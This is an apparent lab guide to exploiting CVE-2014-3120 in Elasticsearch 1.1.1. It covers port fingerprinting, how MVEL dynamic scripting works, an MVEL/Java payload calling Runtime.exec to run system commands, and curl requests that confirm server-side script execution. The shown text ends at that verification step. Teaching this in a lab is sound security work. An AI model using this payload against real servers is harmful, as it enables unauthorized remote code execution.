
Step-by-step lab guide demonstrating CVE-2014-3120 exploitation against Elasticsearch 1.1.1, covering vulnerability analysis, RCE via MVEL scripting, and post-exploitation in a Docker environment.
Starting with what is running in the environment. We list all active containers:
docker ps

Result: Container p1/lab10:latest is running, exposing 2 ports externally:
| Port mapping | Protocol |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (needs verification) |
0.0.0.0:9300 → 9300/tcp | Unknown |
Initial observation: Ports 9200 and 9300 are commonly known as the default ports for Elasticsearch. However, we cannot conclude based solely on the port numbers - many other services can bind to any port.
⇒ We curl directly to each port to verify which service is actually running.
curl -i http://192.168.3.137:9300/

Response analysis:
curl: (52) Empty reply from serverAssessment: The server accepted the TCP connection (no connection refused), but did not respond using the HTTP protocol. This matches the behavior of the Elasticsearch Transport protocol on port 9300 - a binary protocol used for communication between nodes in a cluster, not HTTP.
⇒ Mindset: Port 9300 uses a binary protocol → cannot be exploited directly via curl/browser. Switch to checking port 9200 - the HTTP REST API port.
curl -i http://192.168.3.137:9200/

Response analysis:
| Field | Value | Meaning |
|---|---|---|
name | "Rage" | Elasticsearch node name (random Marvel character name - default behavior of older ES versions) |
version.number | "1.1.1" | Extremely old version - released in April 2014 |
build_timestamp | "2014-04-16T14:27:12Z" | Built in 2014 |
lucene_version | "4.7" | Lucene 4.7 - old indexing engine |
tagline | "You Know, for Search" | Characteristic signature phrase of Elasticsearch |
Attack Surface Assessment:

⇒ Mindset: Elasticsearch 1.1.1 enables Dynamic Scripting by default - allowing clients to send scripts (MVEL expressions) in search queries for the server to execute. Without a sandbox or proper validation, an attacker can inject a malicious script to execute system commands. Next step: verify whether Dynamic Scripting is actually active on the target.
Elasticsearch supports a Scripting feature - allowing clients to send scripts (mathematical or logical expressions) within search requests for the server to execute when processing results. In Elasticsearch 1.x, the default engine for this feature is MVEL (MVFLEX Expression Language).
In Elasticsearch versions prior to 1.2, Dynamic Scripting is enabled by default (script.disable_dynamic: false). This means:
script_fields parameter in the _search APIjava.lang.Runtime.getRuntime().exec() to execute system commandsscript_fields WorksWhen a search request with script_fields is sent, Elasticsearch will:
_search APIscript_fields field → find the script to executeIn Java, the most common way to execute a system command is:
Runtime.getRuntime().exec("command");
MVEL, as an expression language with full access to Java classes, allows invoking this directly:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
Explaining each part:
| Part | Explanation |
|---|---|
import java.io.* | Import Java IO classes |
Runtime.getRuntime() | Retrieve the Java Runtime instance |
.exec("id") | Execute the shell command id |
.getInputStream() | Retrieve the output stream of the process |
new Scanner(...).useDelimiter("\\A").next() | Read the entire output as a string |
⇒ Mindset: With Elasticsearch, the RCE output is returned directly in the response — no need to redirect to a file and read it back. This makes the exploit cleaner and faster to verify.
After identifying the target as Elasticsearch 1.1.1, the next step is to verify whether Dynamic Scripting is actually enabled.
CVE-2014-3120 exploits the fact that Elasticsearch allows clients to send scripts within _search requests. If the script is executed by the server, an attacker can replace the harmless expression with a payload that calls the Java Runtime to execute system commands.
First, we create a test document to ensure the query has at least one matching result. If no documents match, script_fields will not be evaluated.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
Then refresh the index:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
Next, we send a _search request with script_fields containing a harmless MVEL expression:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

We send the script "1+1" and the server returns the result 2. This proves Elasticsearch not only receives the _search request, but executes the dynamic script on the server side.
⇒ Dynamic Scripting is active on the target.
Since the target is Elasticsearch 1.1.1, prior to 1.2, this matches the exploitation requirements of CVE-2014-3120: Elasticsearch before version 1.2 enables Dynamic Scripting by default, allowing a remote attacker to execute MVEL expressions/Java code via a search request.
We have verified that script_fields is executed by Elasticsearch on the server side via the harmless expression "1+1" returning [2].
This proves that the target not only allows standard searches but also allows clients to send an MVEL script for the server to evaluate during _search processing.